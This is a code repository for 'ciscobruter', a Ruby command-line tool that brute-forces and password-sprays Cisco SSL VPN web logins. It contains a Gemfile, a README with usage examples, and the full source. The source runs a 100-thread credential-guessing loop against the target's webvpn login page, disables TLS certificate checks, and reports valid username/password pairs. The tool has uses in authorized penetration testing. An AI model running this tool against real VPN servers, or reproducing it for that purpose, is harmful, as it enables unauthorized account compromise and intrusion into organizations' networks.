├── Gemfile ├── README.md └── ciscobruter.rb /Gemfile: -------------------------------------------------------------------------------- 1 | source "https://rubygems.org" 2 | 3 | gem 'pry' 4 | gem 'thread', github: 'meh/ruby-thread' 5 | gem 'celluloid' 6 | gem 'ruby-progressbar' -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | [![Gem Version](https://badge.fury.io/rb/ciscobruter.svg)](https://badge.fury.io/rb/ciscobruter) 2 | 3 | Ciscobruter.rb 4 | ============== 5 | Brute force Cisco SSL VPN's that don't use 2-factor authentication 6 | 7 | 8 | Install from source: 9 | -------- 10 | Simply clone this repo and run 11 | 12 | $ bundle install 13 | 14 | Install the gem 15 | -------- 16 | $ gem install ciscobruter 17 | 18 | 19 | Help: 20 | ----- 21 | $ ./ciscobruter.rb -h 22 | ciscobruter.rb VERSION: 1.0.0 - UPDATED: 01/20/2016 23 | 24 | -u, --username [Username] Username to guess passwords against 25 | -p, --password [Password] Password to try with username 26 | -U, --user-file [File Path] File containing list of usernames 27 | -P, --pass-file [File Path] File containing list of passwords 28 | -t, --target [URL] Target VPN server example: https://vpn.target.com 29 | -l, --login-path [Login Path] Path to login page. Default: /+webvpn+/index.html 30 | -g, --group [Group Name] Group name for VPN. Default: No Group 31 | -v, --verbose Enables verbose output 32 | 33 | 34 | Example: 35 | -------- 36 | $ ./ciscobruter.rb -t https://vpn.targetserver.com -U usernames.txt -p "Winter2015!" 37 | -------------------------------------------------------------------------------- /ciscobruter.rb: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env ruby 2 | require 'pry' 3 | require 'net/https' 4 | require 'optparse' 5 | require 'celluloid/current' 6 | require 'thread/pool' 7 | require 'ruby-progressbar' 8 | include Celluloid::Internals::Logger 9 | 10 | 11 | options = {} 12 | args = OptionParser.new do |opts| 13 | opts.banner = "ciscobruter.rb VERSION: 1.0.0 - UPDATED: 01/20/2016\r\n\r\n" 14 | opts.on("-u", "--username [Username]", "\tUsername to guess passwords against") { |username| options[:usernames] = [username] } 15 | opts.on("-p", "--password [Password]", "\tPassword to try with username") { |password| options[:passwords] = [password] } 16 | opts.on("-U", "--user-file [File Path]", "\tFile containing list of usernames") { |usernames| options[:usernames] = File.open(usernames, 'r').read.split("\n") } 17 | opts.on("-P", "--pass-file [File Path]", "\tFile containing list of passwords") { |passwords| options[:passwords] = File.open(passwords, 'r').read.split("\n") } 18 | opts.on("-t", "--target [URL]", "\tTarget VPN server example: https://vpn.target.com") { |target| options[:target] = target } 19 | opts.on("-l", "--login-path [Login Path]", "\tPath to login page. Default: /+webvpn+/index.html") { |path| options[:path] = path } 20 | opts.on("-g", "--group [Group Name]", "\tGroup name for VPN. Default: No Group") { |group| options[:group] = group } 21 | opts.on("-v", "--verbose", "\tEnables verbose output\r\n\r\n") { |v| options[:verbose] = true } 22 | end 23 | 24 | 25 | begin 26 | args.parse!(ARGV) 27 | mandatory = [:target] 28 | missing = mandatory.select{ |param| options[param].nil? } 29 | unless missing.empty? 30 | warn "Error. Missing required options: #{missing.join(', ')}" 31 | puts args 32 | exit! 33 | end 34 | rescue OptionParser::InvalidOption, OptionParser::MissingArgument 35 | puts $!.to_s 36 | exit! 37 | end 38 | 39 | 40 | class Ciscobruter 41 | 42 | attr_accessor :uri, :http, :headers, :verbose, :path, :group 43 | 44 | def initialize(target, verbose=nil, login=nil, group=nil) 45 | self.uri = URI.parse(target) 46 | self.path = set_path(login) 47 | self.group = group 48 | self.http = setup_http 49 | self.headers = { 'Cookie' => 'webvpnlogin=1; webvpnLang=en' } 50 | self.verbose = verbose 51 | end 52 | 53 | def try_credentials(username, password) 54 | info "Trying username: #{username} and password: #{password} on #{uri.host}" if verbose 55 | post = "username=#{username}&password=#{password}" 56 | 57 | if group != nil 58 | post += "&group_list=#{group}" 59 | end 60 | 61 | response = http.post(path, post, headers) 62 | if response.code == "200" 63 | if validate_credentials(response.body) 64 | report_creds(username, password) 65 | end 66 | elsif response.code == "302" 67 | warn "Error. #{path} not valid." 68 | end 69 | return 70 | end 71 | 72 | private 73 | 74 | def set_path(login) 75 | return login.nil? ? '/+webvpn+/index.html' : login 76 | end 77 | 78 | def setup_http 79 | http = Net::HTTP.new(uri.host, uri.port) 80 | http.use_ssl = true 81 | http.verify_mode = OpenSSL::SSL::VERIFY_NONE 82 | return http 83 | end 84 | 85 | def validate_credentials(html) 86 | return html !~ /document.location.replace/ 87 | end 88 | 89 | def report_creds(user, pass) 90 | warn "CREDENTIALS FOUND! username: #{user} password: #{pass}" 91 | end 92 | 93 | end 94 | 95 | 96 | def main(options, total) 97 | threads = Thread.pool(100) 98 | info "Trying #{total} username/password combinations..." 99 | options[:usernames].each do |username| 100 | options[:passwords].each do |password| 101 | threads.process { 102 | bruter = Ciscobruter.new(options[:target], options[:verbose], options[:path], options[:group]) 103 | bruter.try_credentials(username.chomp, password.chomp) 104 | PROGRESS.increment 105 | } 106 | end 107 | end 108 | threads.shutdown 109 | end 110 | 111 | 112 | total = options[:usernames].count * options[:passwords].count 113 | PROGRESS = ProgressBar.create(format: "%a %e %P% Processed: %c from %C", total: total) 114 | main(options, total) 115 | 116 | --------------------------------------------------------------------------------